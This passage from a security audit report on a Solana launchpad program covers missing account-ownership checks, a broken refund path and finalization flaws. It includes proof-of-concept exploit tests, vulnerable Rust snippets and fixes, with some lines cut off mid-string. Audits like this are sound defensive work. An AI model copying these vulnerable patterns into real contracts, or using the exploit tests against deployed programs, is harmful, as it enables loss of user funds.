// --- Post-call Balance Capture ---
console.log('Capturing post-call balances...');

const projectUsd1After = await getAccount(
    provider.connection,
    projectUsd1Account
);
const projectBlockAfter = await getAccount(
    provider.connection,
    projectBlockAccount
);
const projectTokenAfter = await getAccount(
    provider.connection,
    projectTokenAccount
);

// Get token vault balance to verify tokens were transferred there
const tokenVaultAfter = await getAccount(
    provider.connection,
    tokenVaultKeypair.publicKey
);

console.log(Post-call balances:);
console.log(  - Project USD1: ${Number(projectUsd1After.amount)});
console.log(  - Project BLOCK: ${Number(projectBlockAfter.amount)});
console.log(  - Project Token: ${Number(projectTokenAfter.amount)});
console.log(  - Token Vault: ${Number(tokenVaultAfter.amount)});

// --- Balance Change Verification ---
console.log(
    'Verifying balance changes demonstrate circular fee arrangement...'
);

// Since project accounts are used as both source and treasury:
// - USD1: project pays fee to itself = net zero change
// - BLOCK: project pays fee to itself = net zero change
// - Tokens: project pays fee to itself + transfers tokens_offered to vault

// Verify USD1 balance unchanged (circular fee transfer)
assert.equal(
    Number(projectUsd1After.amount),
    Number(projectUsd1Before.amount),
    'Project USD1 balance should remain unchanged due to circular fee transfer (vulnerability demons
);

// Verify BLOCK balance unchanged (circular fee transfer)
assert.equal(
    Number(projectBlockAfter.amount),
    Number(projectBlockBefore.amount),
    'Project BLOCK balance should remain unchanged due to circular fee transfer (vulnerability demon
);

// Verify project token balance decreased only by tokens_offered (fee was circular)
const expectedTokenDecrease =
    exploitSubmissionParams.tokensOffered.toNumber();
const actualTokenDecrease =
```

```
        Number(projectTokenBefore.amount) - Number(projectTokenAfter.amount);

    assert.equal(
        actualTokenDecrease,
        expectedTokenDecrease,
        'Project token balance should decrease only by tokens_offered (native token fee was circular)'
    );

    // Verify token vault contains tokens_offered
    assert.equal(
        Number(tokenVaultAfter.amount),
        expectedTokenDecrease,
        'Token vault should contain the tokens offered'
    );

    console.log(
        '⚠️  Vulnerability confirmed: Instruction succeeded with project accounts as treasury!'
    );
    console.log(
        '   - Project authority successfully used their own accounts as treasury destinations'
    );
    console.log('   - No ownership validation prevents fee diversion');

    // Verify the pool was created successfully
    const createdPool = await program.account.pool.fetch(exploitPoolPda);
    console.log(   - Pool created: ${createdPool.projectName});
    console.log(
          - Project Authority: ${createdPool.projectAuthority.toString()}
    );
    console.log(
        '   - Project used their own accounts as treasury destinations'
    );
    console.log(
        '   - USD1 and BLOCK fees were collected from project and sent back to same accounts (net zero)'
    );
    console.log(
        '   - Native token fee was also circular, only tokens_offered actually left the account'
    );
    console.log(
        '   - No ownership validation prevents this circular fee arrangement'
    );
});
```

Evidence 4

```
Starting TS-11: Treasury account ownership validation test...
Using project token accounts as malicious treasury destinations...
Creating second submission for exploit test...
Attempting to use project accounts as treasury destinations...
Using project USD1 account: Hud7V46woDsmmxepMfRNLna11iSidBMwTQqYTjQW8s6B
Using project BLOCK account: 4hQbRRnf3qqkM1NemfuVjuapUukEiArnvtqGPxEquDjE
Using project token account: 6JhgW14Nu3xYUkYLFB1GtpEF5Zym8RqrGi1Pv7z6Muug
Capturing pre-call balances...
Pre-call balances:
  - Project USD1: 100000000000
  - Project BLOCK: 20000000000000
  - Project Token: 1500000000000000
Expected fees to be transferred:
  - USD1 Fee: 15000000000
  - BLOCK Fee: 15000000000000
  - Native Token Fee: 40000000000000
Pre-creating vault accounts for testing...
✅ Instruction succeeded - demonstrating the vulnerability!
Verifying treasury account vulnerability...
Capturing post-call balances...
Post-call balances:
  - Project USD1: 100000000000
  - Project BLOCK: 20000000000000
  - Project Token: 500000000000000
  - Token Vault: 1000000000000000
Verifying balance changes demonstrate circular fee arrangement...
⚠️ Vulnerability confirmed: Instruction succeeded with project accounts as treasury!
   - Project authority successfully used their own accounts as treasury destinations
   - No ownership validation prevents fee diversion
   - Pool created: Exploit Test Project
   - Project Authority: BTqjLYWsYabCjqXxRcvJg4fEDr6fEovyLQLegd5S5xJL
   - Project used their own accounts as treasury destinations
   - USD1 and BLOCK fees were collected from project and sent back to same accounts (net zero)
   - Native token fee was also circular, only tokens_offered actually left the account
   - No ownership validation prevents this circular fee arrangement
     ✔ TS-11: instruction validates ownership of treasury accounts to prevent fee diversion (2351ms)


  1 passing (11s)
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:C/I:C/D:C/Y:C (10.0)

Recommendation

Implement comprehensive account ownership validation across all affected instructions using Anchor's constraint system:

1. Pool Creation Treasury Validation:
Replace `UncheckedAccount` declarations with properly constrained `Account` types:
programs/blockstreet-launchpad/src/instructions/admin/create_pool_with_fees.rs

```
138     /// Treasury USD1 account (destination for USD1 fee)
139     #[account(
140         mut,
141         constraint = treasury_usd1_account.owner == launchpad.treasury @ LaunchpadError::InvalidT
142     )]
143     pub treasury_usd1_account: Account<'info, TokenAccount>,
144
145
```

```
    /// Treasury BLOCK account (destination for BLOCK fee)
    #[account(
        mut,
        constraint = treasury_block_account.owner == launchpad.treasury @ LaunchpadError::Invalid
    )]
    pub treasury_block_account: Account<'info, TokenAccount>,

    /// Treasury native token account (destination for native token fee)
    #[account(
        mut,
        constraint = treasury_native_token_account.owner == launchpad.treasury @ LaunchpadError::
    )]
    pub treasury_native_token_account: Account<'info, TokenAccount>,
```

2. Contribution Account Ownership Validation:

Add proper ownership and mint validation for contribution accounts:

programs/blockstreet-launchpad/src/instructions/user/contribute_usd1.rs

```
/// Pool USD1 vault - with proper ownership and mint validation
#[account(
    mut,
    constraint = pool_usd1_vault.mint == USD1_MINT_PUBKEY @ LaunchpadError::InvalidTokenMint,
    constraint = pool_usd1_vault.owner == pool.key() @ LaunchpadError::InvalidAccountOwner
)]
pub pool_usd1_vault: Account<'info, TokenAccount>,

/// Treasury USD1 account for fees - with proper ownership and mint validation
#[account(
    mut,
    constraint = treasury_usd1_account.owner == launchpad.treasury @ LaunchpadError::InvalidAccou
    constraint = treasury_usd1_account.mint == USD1_MINT_PUBKEY @ LaunchpadError::InvalidTokenMin
)]
pub treasury_usd1_account: Account<'info, TokenAccount>,
```

3. Staking Vault PDA Derivation:

Derive the USD1 staking vault as a PDA to ensure protocol control

programs/blockstreet-launchpad/src/instructions/user/stake_usd1.rs

```
/// USD1 staking vault
#[account(
    mut,
    seeds = [USD1_STAKING_VAULT_SEED],
    bump
)]
pub usd1_staking_vault: Account<'info, TokenAccount>,
```

4. Submission-Based Pool Creation Treasury Validation:

Update treasury account declarations to use constraint validation to verify mint and ownership:

programs/blockstreet-launchpad/src/instructions/admin/create_pool_from_submission_with_fees.rs

```
/// Treasury USD1 account - Validate mint and ownership
#[account(
    mut,
    constraint = treasury_usd1_account.mint == launchpad.usd1_mint @ LaunchpadError::InvalidToken
    constraint = treasury_usd1_account.owner == launchpad.treasury @ LaunchpadError::InvalidTreas

```

```
94  )]
95  pub treasury_usd1_account: Account<'info, token::TokenAccount>,
96
97  /// Treasury BLOCK account - Validate mint and ownership
98  #[account(
99      mut,
100     constraint = treasury_block_account.mint == launchpad.block_token_mint @ LaunchpadError::Inva
101     constraint = treasury_block_account.owner == launchpad.treasury @ LaunchpadError::InvalidTrea
102 )]
103 pub treasury_block_account: Account<'info, token::TokenAccount>,
104
105 /// Treasury native token account - Validate mint and ownership
106 #[account(
107     mut,
108     constraint = treasury_token_account.mint == submission.token_mint @ LaunchpadError::InvalidTo
109     constraint = treasury_token_account.owner == launchpad.treasury @ LaunchpadError::InvalidTrea
110 )]
    pub treasury_token_account: Account<'info, token::TokenAccount>,
```

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.3 CANCEL CONTRIBUTION FUNCTION IS NON-OPERATIONAL DUE TO MULTIPLE ISSUES PREVENTING USERS FROM CANCELLING CONTRIBUTIONS

// HIGH

Description

The Blockstreet Launchpad is a fundraising platform for Solana projects that allows users to contribute to project pools during funding rounds. The `cancel_contribution` instruction provides users with the ability to cancel their contributions and receive refunds under certain conditions, such as when a pool is in Active or Cancelled status. This functionality is important for user protection, allowing contributors to withdraw their funds if they change their mind or if a pool fails to meet its targets.

However, the `cancel_contribution` instruction is fundamentally broken and cannot function under any circumstances due to multiple cascading design flaws. Several issues prevent it from ever executing successfully, effectively trapping user funds in the system.

The problems can be categorized into three main areas:
1. **Vault Bump Storage Issues**: `create_pool` instructions fail to properly store the `vault_bump` value
2. **Unused Pool Vault Account**: The instruction includes unnecessary accounts that cause constraint failures
3. **Silent Fund Loss via Missing Optional Accounts**: The instruction can succeed without performing refunds when optional accounts are omitted

Problem 1: Missing Vault Bump Storage in Basic Pool Creation
The `create_pool` instruction fails to store the `vault_bump` value in the pool state, leaving it as the default value (0). When `cancel_contribution` attempts to validate the `pool_vault` PDA using this stored bump, Anchor's constraint validation fails with a ConstraintSeeds error because the stored bump doesn't match the calculated bump.

Problem 2: Unused Pool Vault Account Causes Constraint Failures
The `cancel_contribution` instruction includes a `pool_vault` account that is never used in the handler logic but causes severe constraint validation failures. This account attempts to validate against the stored `vault_bump` value, but this creates multiple issues:
1. In `create_pool` : The `vault_bump` is never stored, leaving it as 0, which fails PDA validation
2. In other pool creation functions: The stored bump corresponds to different seeds (`usd1_vault`) rather than the `POOL_VAULT_SEED` used by the `pool_vault` account

The unused account is defined with strict PDA constraints:
programs/blockstreet-launchpad/src/instructions/user/cancel_contribution.rs

```
29 | /// Pool vault
30 | #[account(
31 |     mut,
32 |     seeds = [
33 |
```

```
            POOL_VAULT_SEED,
            pool.key().as_ref()
        ],
        bump = pool.vault_bump
    )]
    /// CHECK: PDA vault
    pub pool_vault: AccountInfo<'info>,
```

This account serves no purpose in the refund logic since refunds are handled through the optional `pool_usd1_vault` account, but its presence prevents the instruction from executing due to seed validation failures.

Problem 3: Silent Fund Loss Through Missing Optional Accounts
The instruction has a design flaw where it can succeed while silently skipping refunds. When optional accounts are not provided, the instruction closes the contributor account and updates pool state but performs no refund transfer:
programs/blockstreet-launchpad/src/instructions/user/cancel_contribution.rs

```
#[derive(Accounts)]
pub struct CancelContribution<'info> {
    ...
    /// Contribution account - closed at the end to return rent
    #[account(
        mut,
        close = contributor,
        seeds = [
            CONTRIBUTION_SEED,
            pool.key().as_ref(),
            contributor.key().as_ref()
        ],
        bump = contribution.bump
    )]
    pub contribution: Account<'info, Contribution>,
    ...
}

...

// Refund path: SOL or USD1
if let (Some(pool_usd1_vault), Some(contributor_usd1)) = (&ctx.accounts.pool_usd1_vault, &ctx.acc
    // Refund logic only executes if BOTH optional accounts are provided
    // If either is None, no refund occurs but the function continues
    // ...
}
// Account will be closed by anchor (close = contributor)
```

This issue renders the entire contribution cancellation feature completely unusable, creating several risks:
1. **Permanent Fund Lockup**: Users cannot cancel contributions from pools created with the basic `create_pool` instruction due to vault bump validation failures
2. **No Refunds for Cancelled Pools**: If a pool is cancelled (fails to meet its soft cap), users will never be able to access their funds back since the cancellation mechanism is completely broken

Proof of Concept

POC Code

```
it.only('TS2: Missing optional accounts allows silent fund loss through successful cancellation without
    console.log(
        '🔍 Testing TS2 Exploit: Silent fund loss with missing optional accounts...'
    );

    // NOTE: Created a new instruction 'cancel_contribution_without_pool' that removes
    // the problematic 'pool_vault' account to isolate and demonstrate the vulnerability
    // of silent fund loss when optional refund accounts are not provided.
    // This allows us to test the missing optional accounts bug without interference
    // from the vault_bump validation issue.

    // Use pool with fees to avoid other issues and focus on the missing accounts bug
    const poolPda = poolWithFeesPda;
    const contributionPda = contributionWithFeesPda;

    // --- Pre-call Assertions ---
    const poolBefore = await program.account.pool.fetch(poolPda);
    const contributionBefore =
        await program.account.contribution.fetch(contributionPda);

    // Verify pool is in Active state and contribution exists
    assert(poolBefore.status.active, 'Pool should be Active for the exploit');
    assert(
        contributionBefore.usd1Amount.gt(new BN(0)),
        'Contribution should exist for the exploit'
    );

    console.log('Pre-call state:');
    console.log('- Pool USD1 raised:', poolBefore.usd1Raised.toString());
    console.log(
        '- Pool contributor count:',
        poolBefore.contributorCount.toString()
    );
    console.log(
        '- Contribution amount:',
        contributionBefore.usd1Amount.toString()
    );

    // Get contributor balance before
    const contributorUsd1Before = await getAccount(
        provider.connection,
        contributorUsd1Account
    );
    console.log(
        '- Contributor USD1 balance before:',
        contributorUsd1Before.amount.toString()
    );


    // THE EXPLOIT: Call cancel_contribution_without_pool WITHOUT optional accounts
    // This should either:
    // 1. Fail entirely (correct behavior - protects funds)
    // 2. Succeed but skip refund (bug - causes fund loss)
    console.log(
        'Executing cancel_contribution_without_pool WITHOUT optional refund accounts...'
    );

    let txSignature;
    let instructionFailed = false;
    let errorMessage = '';

    try {
        txSignature = await program.methods
            .cancelContributionWithoutPool()
            .accountsStrict({
                pool: poolPda,
                contribution: contributionPda,
                contributor: contributor.publicKey,
                contributorUsd1Account: null, // MISSING: No refund account provided
                poolUsd1Vault: null, // MISSING: No pool vault account provided
                systemProgram: anchor.web3.SystemProgram.programId,
                tokenProgram: anchor.utils.token.TOKEN_PROGRAM_ID
```

```
            })
            .signers([contributor])
            .rpc();
    } catch (error) {
        instructionFailed = true;
        errorMessage = error instanceof Error ? error.message : String(error);
    }

    // Assert that the instruction succeeded (demonstrating the bug)
    assert.isFalse(instructionFailed, Instruction should succeed to demonstrate the bug, but failed with

    console.log('✅ Transaction succeeded:', txSignature);

    // Post-call Assertions: Verify the bug exists

    // 1. Verify contribution account was closed
    let contributionClosed = false;
    try {
        await program.account.contribution.fetch(contributionPda);
    } catch (error) {
        contributionClosed = true;
    }

    // 2. Verify user received no refund
    const contributorUsd1After = await getAccount(
        provider.connection,
        contributorUsd1Account
    );
    const actualRefund = new BN(contributorUsd1After.amount.toString())
        .sub(new BN(contributorUsd1Before.amount.toString()));

    console.log('💰 EXPLOIT SUCCEEDED: Silent fund loss bug demonstrated!');
    console.log(- Contribution account closed: ${contributionClosed ? '✅' : '❌'});
    console.log(- User refund received: ${actualRefund.toString()} (expected: 0 for bug));
    console.log(- Expected refund amount: ${contributionBefore.usd1Amount.toString()});

    // Assert the bug conditions are met
    assert.isTrue(contributionClosed, 'Bug verification: Contribution account should be closed');
    assert.isTrue(actualRefund.isZero(), 'Bug verification: User should receive no refund (silent fund l
});
```

Evidence

```
🔍 Testing TS2 Exploit: Silent fund loss with missing optional accounts...
Pre-call state:
- Pool USD1 raised: 50000000000
- Pool contributor count: 1
- Contribution amount: 50000000000
- Contributor USD1 balance before: 950000000000
Executing cancel_contribution_without_pool WITHOUT optional refund accounts...
✅ Transaction succeeded: eQDdVWgT5DN67ZPPXEYBpYaoj97QvfFj7iXUXfKbUzCNLsSRtSwJfFEX44zGUrXP3DTSKNUghQwmP6pypB1HPBk
💰 EXPLOIT SUCCEEDED: Silent fund loss bug demonstrated!
- Contribution account closed: ✅
- User refund received: 0 (expected: 0 for bug)
- Expected refund amount: 50000000000
      ✔ TS2: Missing optional accounts allows silent fund loss through successful cancellation without refund (469ms)
```

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:C/I:C/D:H/Y:N (7.2)

Recommendation

This issue requires a comprehensive redesign of the contribution cancellation system:

1. **Fix Vault Bump Storage**:
- Update `create_pool` to properly calculate and store the correct `vault_bump`
2. **Remove Unused Accounts**:
- Remove the unused `pool_vault` account from the `cancel_contribution` context
- Simplify the account structure to only include accounts that are actually used
3. **Implement Proper Refund Logic**:
- Make the refund accounts required rather than optional
- Add explicit validation that refunds are processed before closing contributor accounts

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.4 FINALIZE_POOL_WITH_LIQUIDITY INSTRUCTION CONTAINS MULTIPLE VULNERABILITIES LEADING TO PERMANENT FUND LOSS

// LOW

Description

The Blockstreet Launchpad is a decentralized fundraising platform built on Solana that enables project creators to launch token sales with customizable parameters. The platform provides multiple finalization approaches for completed pools, including `finalize_pool_with_liquidity` which is designed to finalize successful pools while distributing 70% of raised funds to the project authority and retaining 30% for liquidity creation.

The `finalize_pool_with_liquidity` instruction contains multiple implementation flaws that can lead to permanent loss of user funds. These vulnerabilities stem from inadequate validation of provided accounts and flawed fund distribution logic. While the instruction can only be executed by the launchpad authority, these implementation errors create scenarios where funds can be permanently lost or incorrectly distributed.

Unvalidated Pool Vault Accounts Create Risk of Fund Misdirection

The instruction does not validate that the provided `pool_usd1_vault` and `pool_token_vault` accounts correspond to the actual vaults created for the specific pool being finalized. This validation gap means that if incorrect vault accounts are provided (either accidentally or due to operational error), the finalization process will operate on the wrong accounts, potentially leading to fund misdirection.

programs/blockstreet-launchpad/src/instructions/admin/finalize_pool_with_liquidity.rs

```
122 fn distribute_successful_pool_funds(
123     ctx: &Context<FinalizePoolWithMeteora>,
124     _clock: &Clock,
125 ) -> Result<()> {
126     // ... calculation logic ...
127 
128     // Transfer 70% of funds to project owner - NO VALIDATION of vault authenticity
129     token::transfer(
130         CpiContext::new_with_signer(
131             ctx.accounts.token_program.to_account_info(),
132             Transfer {
133                 from: ctx.accounts.pool_usd1_vault.to_account_info(), // Missing validation
134                 to: ctx.accounts.project_usd1_account.to_account_info(),
135                 authority: pool.to_account_info(),
136             },
137             signer_seeds,
138         ),
139         project_usd1,
140     )?;
141 
142     // Transfer tokens back - NO VALIDATION of vault authenticity
143     if remaining_tokens > 0 {
144         token::transfer(
145             CpiContext::new_with_signer(
146                 ctx.accounts.token_program.to_account_info(),
147                 Transfer {
148 
```

```
                    from: ctx.accounts.pool_token_vault.to_account_info(), // Missing validation
                    to: ctx.accounts.project_token_account.to_account_info(),
                    authority: pool.to_account_info(),
                },
                signer_seeds,
            ),
            remaining_tokens,
        )?;
    }
    Ok(())
}
```

Incorrect Token Distribution Logic Transfers All Tokens to Project Authority

The fund distribution logic contains a flaw where it transfers ALL tokens from the `pool_token_vault` back to the project authority, regardless of how many tokens should have been sold to contributors based on the amount of USD1 raised. This implementation error means contributors cannot receive the tokens they paid for.

programs/blockstreet-launchpad/src/instructions/admin/finalize_pool_with_liquidity.rs

```
// Transfer unsold tokens back to project owner
let remaining_tokens = ctx.accounts.pool_token_vault.amount; // Gets ALL tokens in vault
if remaining_tokens > 0 {
    token::transfer(
        CpiContext::new_with_signer(
            ctx.accounts.token_program.to_account_info(),
            Transfer {
                from: ctx.accounts.pool_token_vault.to_account_info(),
                to: ctx.accounts.project_token_account.to_account_info(),
                authority: pool.to_account_info(),
            },
            signer_seeds,
        ),
        remaining_tokens, // Transfers ALL tokens, not just unsold ones
    )?;
}
```

Permanent Fund Lock Through Incorrect Vault Provision

A major flaw occurs when the launchpad authority accidentally provides an incorrect `pool_token_vault` account with zero balance. Due to the lack of validation, this operational error leads to permanent fund lockup:

1. **Pool Status Changes**: The pool transitions to `Claiming` status
2. **No Token Transfer**: Zero tokens are transferred due to empty vault
3. **Irreversible State**: The instruction cannot be called again since the pool is now in `Claiming` status
4. **Permanent Loss**: The actual tokens remain locked in the real vault with no recovery mechanism

For a typical successful pool that raises 12,000 USD1:

- Contributors invest 12,000 USD1 expecting proportional token allocation
- Project authority receives 8,400 USD1 (70%) + ALL tokens originally deposited
- Contributors receive 0 tokens despite their payment
- **Total value extraction: 70% of raised funds + 100% of token supply**

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:C/I:C/D:C/Y:C (3.5)

Recommendation

It is recommended to redesign the `finalize_pool_with_liquidity` instruction address these errors:

1. **Implement Vault Validation**: Establish mechanisms to ensure vault account uniqueness and authenticity. This can be achieved through multiple approaches:

- Use Associated Token Accounts (ATAs) with deterministic addresses based on pool and mint
- Store vault addresses in the Pool state during creation and validate them during finalization
- Implement PDA-derived vault addresses with consistent seeds across pool lifecycle

2. **Fix Token Distribution Logic**: Calculate and transfer only unsold tokens to project authority

```
// Calculate tokens sold based on USD1 raised and pricing
let tokens_sold = calculate_tokens_sold(&pool)?;
let unsold_tokens = pool.tokens_offered.checked_sub(tokens_sold)
    .ok_or(LaunchpadError::MathUnderflow)?;

// Only transfer unsold tokens to project
if unsold_tokens > 0 {
    token::transfer(/* transfer unsold_tokens only */)?;
}
```

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.5 MULTIPLE SECURITY VULNERABILITIES AND VALIDATION FAILURES IN STAKING POOL INITIALIZATION FUNCTIONS

// LOW

Description

The Blockstreet Launchpad program provides a decentralized platform for token launches and includes a staking rewards system for BLOCK tokens. Both the `init_staking_rewards_pool` and `init_staking_rewards_pool_standalone` instructions are responsible for creating and initializing staking pools that allow users to stake BLOCK tokens and earn rewards based on predefined tier thresholds and reward rates.

However, the current implementations contain multiple security vulnerabilities and validation failures that could lead to program inconsistencies and compromised system integrity. These issues include:

- **Missing authority validation**: Inadequate verification of caller permissions for administrative functions
- **Inadequate token mint verification**: Insufficient validation of BLOCK token mint addresses against canonical protocol values
- **Absent input parameter validation**: Lack of validation for staking pool parameters such as tier thresholds and reward rates

These vulnerabilities are demonstrated in the code snippet below.

programs/blockstreet-launchpad/src/instructions/admin/init_staking_rewards_pool.rs

```
55      #[account(
56          constraint = block_mint.decimals == 9
57      )]
58      pub block_mint: Account<'info, Mint>,
```

The multiple validation failures present several risks to the staking system:

1. Unauthorized Pool Initialization: The absence of proper authority validation allows any unauthorized user to initialize the staking rewards pool before legitimate administrators can deploy the official one. Since the staking pool uses a unique seed, only one pool can exist, making proper initialization timing important for system consistency. This affects all BLOCK staking functions including `stake_tokens`, `request_unstake`, `complete_unstake`, `claim_staking_rewards`, and `update_staking_tier` as they depend on the properly initialized staking pool.
2. **Incorrect Token Configuration**: The lack of canonical BLOCK token validation enables users to create a staking pool with an incorrect mint that meets only the decimal requirement. This could result in program state inconsistencies where the staking pool operates with a different token than expected.
3. **Invalid Tier Structure**: Missing validation on tier thresholds allows the creation of pools with invalid tier structures (e.g., non-ascending order), which could break the reward calculation logic and user tier assignments.

4. **Excessive Reward Rates**: The absence of reward rate validation in the standalone version allows setting unreasonably high reward rates that could compromise the economic model of the staking system.

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:H/I:H/D:N/Y:N (3.1)

Recommendation

It is recommended to implement the following changes:
1. Restore and properly implement the authority validation check by re-adding the launchpad account to the instruction context and validating that the signer matches the launchpad authority.
2. Implement validation to ensure the provided `block_mint` matches a predetermined canonical BLOCK token address stored in the launchpad configuration.
3. Add tier threshold validation in the standalone version to ensure thresholds are in ascending order, matching the validation present in the main version.
4. Add reward rate validation in the standalone version to prevent excessive reward rates that could compromise the economic model.

Remediation Comment

`SOLVED` : The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

0fbb6a97ea1c0ad04d994fbde75308f54e2d9b63

7.6 POOL VAULT ADDRESSES NOT STORED IN POOL STATE CREATES OPERATIONAL VALIDATION CHALLENGES

// LOW

Description

The Blockstreet Launchpad program facilitates token sales through `Pool` accounts, which hold both the project's tokens for sale and the raised funds (USD1). Each pool is designed to work with specific token vaults that are created during pool initialization to securely manage the project tokens and contributed funds.

The `create_pool` instruction, along with other pool creation instructions (`create_pool_with_fees` , `create_pool_from_submission_with_fees`), initializes a new `Pool` account and requires the necessary `token_vault` and `pool_usd1_vault` accounts. However, these instructions do not store the public keys of these vaults within the `Pool` account's state after creation. This omission creates an operational problem where the pool state lacks a definitive reference to its associated vaults, making it difficult to validate vault authenticity in subsequent operations. This design issue is demonstrated in the `create_pool.rs` handler below.

programs/blockstreet-launchpad/src/instructions/admin/create_pool.rs

```
#[derive(Accounts)]
#[instruction(params: CreatePoolParams, metadata: CreatePoolMetadata)]
pub struct CreatePool<'info> {
    #[account(mut)]
    pub launchpad: Account<'info, Launchpad>,

    #[account(
        init,
        payer = project_authority,
        space = Pool::LEN,
        seeds = [
            POOL_SEED,
            launchpad.total_pools.to_le_bytes().as_ref()
        ],
        bump
    )]
    pub pool: Account<'info, Pool>,

    /// Token vault for distribution
    #[account(
        mut,
        associated_token::mint = token_mint,
        associated_token::authority = pool,
    )]
    pub token_vault: Account<'info, TokenAccount>,

    /// USD1 Mint
...
    /// USD1 vault for contributions
    #[account(
        mut,
        associated_token::mint = usd1_mint,
        associated_token::authority = pool,
    )]
    pub pool_usd1_vault: Account<'info, TokenAccount>,
```

```
    ...
}
```

Without storing the vault addresses in the `Pool` state, there is no on-chain source of truth to verify that subsequent instructions are interacting with the correct vaults for a given pool. This operational gap creates a significant validation challenge, as the protocol cannot definitively confirm vault authenticity during instruction execution.

The absence of stored vault references means that any instruction requiring access to pool vaults must rely on external validation mechanisms or assume the provided vault accounts are legitimate. This design limitation undermines the protocol's ability to maintain strict vault-to-pool relationships and creates potential security vulnerabilities in operations that depend on vault validation.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (2.5)

Recommendation

It is strongly recommended to modify the `Pool` state to include fields for storing the public keys of its vaults:
1. Add `token_vault` and `usd1_vault` fields to the `Pool` struct.
2. In all pool creation instructions (`create_pool` , `create_pool_with_fees` , etc.), after initializing the pool, store the keys of the `token_vault` and `pool_usd1_vault` accounts in these new fields.
3. In all subsequent instructions that interact with the vaults (e.g., `contribute_usd1` , `claim_tokens` , `finalize_pool`), add constraints to verify that the provided vault accounts match the addresses stored in the `Pool` state.

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.7 POOL FINALIZATION INSTRUCTIONS FAIL TO UPDATE POOL STATE VALUES BREAKING TOKEN CLAIMS AND POOL ANALYTICS

// LOW

Description

The Blockstreet Launchpad is a decentralized fundraising platform built on Solana that enables project creators to launch token sales with customizable parameters including soft caps, hard caps, and timing controls. The platform manages the entire lifecycle of funding pools from creation through finalization, handling token distribution and fund transfers based on campaign outcomes.

The platform provides three different finalization approaches: `finalize_pool`, `finalize_pool_with_liquidity`, and `finalize_pool_prorata`. The `finalize_pool_prorata` instruction implements a pro-rata token distribution system where contributors can claim tokens proportionally, while the other two instructions handle immediate fund distribution.

Two of the three finalization instructions (`finalize_pool` and `finalize_pool_with_liquidity`) fail to update several key state values in the `Pool` struct that are essential for proper pool state tracking and business logic implementation. While `finalize_pool_prorata` correctly sets the required `finalized`, `finalized_success`, and other state fields, the other two instructions only update the `pool.status` field but neglect other important fields that should reflect the finalization outcome, specifically the `tokens_sold`, `finalized`, and `finalized_success` fields.

1. `tokens_sold` field: Neither finalization instructions updates this field, leaving it permanently at 0.
2. `finalized` flag: Neither instruction sets a `finalized` flag to indicate that the pool has completed its lifecycle and been processed.
3. `finalized_success` flag: Neither instruction sets a success indicator to distinguish between pools that met their soft cap versus those that were cancelled.

The code snippets below demonstrate both cases of this issue:

programs/blockstreet-launchpad/src/instructions/admin/finalize_pool.rs

```
101 | // Success path - soft cap met
102 | if pool.usd1_raised >= pool.soft_cap {
103 |     // ... transfer logic ...
104 |
105 |     pool.status = PoolStatus::Claiming;
106 |     // Missing: pool.finalized = true;
107 |     // Missing: pool.finalized_success = true;
108 |     // Missing: pool.tokens_sold calculation and update
109 | }
```

programs/blockstreet-launchpad/src/instructions/admin/finalize_pool.rs

```
150 | // Failure path - soft cap not met
151 | } else {
```

```
    // ... return tokens logic ...

    pool.status = PoolStatus::Cancelled;
    // Missing: pool.finalized = true;
    // Missing: pool.finalized_success = false;
    // Missing: pool.tokens_sold remains 0 (which is correct for cancelled pools)
}
```

programs/blockstreet-launchpad/src/instructions/admin/finalize_pool_with_liquidity.rs

```
if is_successful {
    // Stack optimization: Move fund distribution to separate function
    distribute_successful_pool_funds(&ctx, &clock)?;
    ctx.accounts.pool.status = PoolStatus::Claiming;
    // Missing: pool.finalized = true;
    // Missing: pool.finalized_success = true;
    // Missing: pool.tokens_sold calculation and update
} else {
    // Pool failed - return funds to contributors
    ctx.accounts.pool.status = PoolStatus::Cancelled;
    // Missing: pool.finalized = true;
    // Missing: pool.finalized_success = false;
}
```

The incomplete state updates create several significant issues:

1. **Broken Pro-rata Logic**: The system design expects `tokens_sold` to be calculated and updated during finalization, but this never occurs. This prevents accurate calculation of unsold tokens and breaks scenarios where all tokens might be sold.
2. **Inconsistent State Tracking**: Without proper finalization flags, other instructions and off-chain systems cannot reliably determine if a pool has been fully processed or distinguish between successful and failed pool outcomes.
3. **Dependent Instruction Failures**: The `claim_tokens` instruction relies on the `pool.can_claim()` method which checks if `pool.finalized` is true. Since neither `finalize_pool` nor `finalize_pool_with_liquidity` ever sets this flag, users cannot claim their tokens from successfully finalized pools, breaking the core user flow of the platform.
4. **Audit Trail Issues**: The lack of proper state tracking makes it difficult to audit pool outcomes and generate accurate reporting on pool success rates.
5. **Future Instruction Dependencies**: Any future instructions that need to check if a pool is finalized or was successful will not have reliable state data to work with.

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:N/D:C/Y:N (2.5)

Recommendation

Update both `finalize_pool` and `finalize_pool_with_liquidity` instructions to properly set all relevant pool state fields following the correct implementation pattern:
For `finalize_pool` instruction:

1. **Update the success path** to include all required state fields:

- Set `pool.finalized = true` to indicate the pool has been processed
- Set `pool.finalized_total_raised = pool.usd1_raised` to capture the final raised amount
- Set `pool.finalized_success = true` to indicate successful completion
- Calculate and set `pool.tokens_sold` based on whether the pool is oversubscribed or undersubscribed, using the same logic as `finalize_pool_prorata`
- Keep the existing `pool.status = PoolStatus::Claiming` assignment

2. **Update the failure path** to set finalization flags:

- Set `pool.finalized = true` to indicate the pool has been processed
- Set `pool.finalized_total_raised = pool.usd1_raised` to capture the final raised amount
- Set `pool.finalized_success = false` to indicate failed completion
- Set `pool.tokens_sold = 0` since no tokens were sold in failed pools
- Keep the existing `pool.status = PoolStatus::Cancelled` assignment

